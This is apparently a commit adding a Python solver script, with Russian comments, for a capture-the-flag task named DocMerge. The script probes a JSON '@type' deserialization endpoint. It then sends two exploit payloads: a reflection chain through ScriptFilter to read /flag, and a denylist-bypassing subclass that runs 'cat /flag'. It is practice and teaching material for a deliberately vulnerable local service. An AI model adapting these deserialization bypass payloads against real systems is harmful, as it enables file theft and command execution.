Init. Commit

2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""Автоматическое решение таска DocMerge (только stdlib).
+
+Запуск: python solve.py http://localhost:18112
+"""
+import json
+import re
+import sys
+import urllib.error
+import urllib.request
+
+FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}")
+
+
+def post_merge(base, payload):
+    data = json.dumps(payload).encode()
+    req = urllib.request.Request(
+        base + "/api/merge", data=data,
+        headers={"Content-Type": "application/json"}, method="POST")
+    try:
+        with urllib.request.urlopen(req, timeout=20) as resp:
+            return resp.status, resp.read().decode("utf-8", "replace")
+    except urllib.error.HTTPError as e:
+        return e.code, e.read().decode("utf-8", "replace")
+
+
+def get(base, path):
+    try:
+        with urllib.request.urlopen(base + path, timeout=20) as resp:
+            return resp.status, resp.read().decode("utf-8", "replace")
+    except urllib.error.HTTPError as e:
+        return e.code, e.read().decode("utf-8", "replace")
+
+
+def fingerprint(base):
+    """Три зонда: denylist / класс вне allowlist / разрешённый пакет."""
+    probes = [
+        ("denylist: java.lang.Runtime",
+         {"@type": "java.lang.Runtime"}),
+        ("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin",
+         {"@type": "com.docmerge.plugins.NoSuchPlugin"}),
+        ("вне allowlist: java.io.File",
+         {"@type": "java.io.File"}),
+    ]
+    for label, payload in probes:
+        status, body = post_merge(base, payload)
+        marker = ""
+        try:
+            marker = json.loads(body).get("message", "")[:120]
+        except ValueError:
+            marker = body[:120]
+        print(f"[*] probe ({label}) -> HTTP {status}: {marker}")
+
+
+def exploit_script_filter(base):
+    """Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag')."""
+    payload = {
+        "title": "quarterly-report",
+        "documents": ["doc one", "doc two"],
+        "renderer": {
+            "template": "default",
+            "filters": [
+                {
+                    "@type": "com.docmerge.plugins.ScriptFilter",
+                    "className": "com.docmerge.util.PreviewUtil",
+                    "methodName": "readFile",
+                    "argument": "/flag",
+                }
+            ],
+        },
+    }
+    return post_merge(base, payload)
+
+
+def exploit_legacy_executor_v2(base):
+    """Запасная цепочка: наследник denylist-класса проходит equals-проверку."""
+    payload = {
+        "title": "quarterly-report",
+        "renderer": {
+            "filters": [
+                {
+                    "@type": "com.docmerge.plugins.LegacyExecutorV2",
+                    "command": "cat /flag",
+                }
+            ]
+        },
+    }
+    return post_merge(base, payload)
+
+
+def main():
+    base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/")
+    print(f"[*] target: {base}")
+
+    status, body = get(base, "/api/plugins")
+    print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}")
+
+    fingerprint(base)
+
+    print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')")
+    status, body = exploit_script_filter(base)
+    match = FLAG_RE.search(body)
+    if match:
+        print(f"[+] flag: {match.group(0)}")
+        return
+
+    print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2")
+    status, body = exploit_legacy_executor_v2(base)
+    match = FLAG_RE.search(body)
+    if match:
+        print(f"[+] flag: {match.group(0)}")
+        return
+
+    print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}")
+    sys.exit(1)
+
+
+if __name__ == "__main__":
+    main()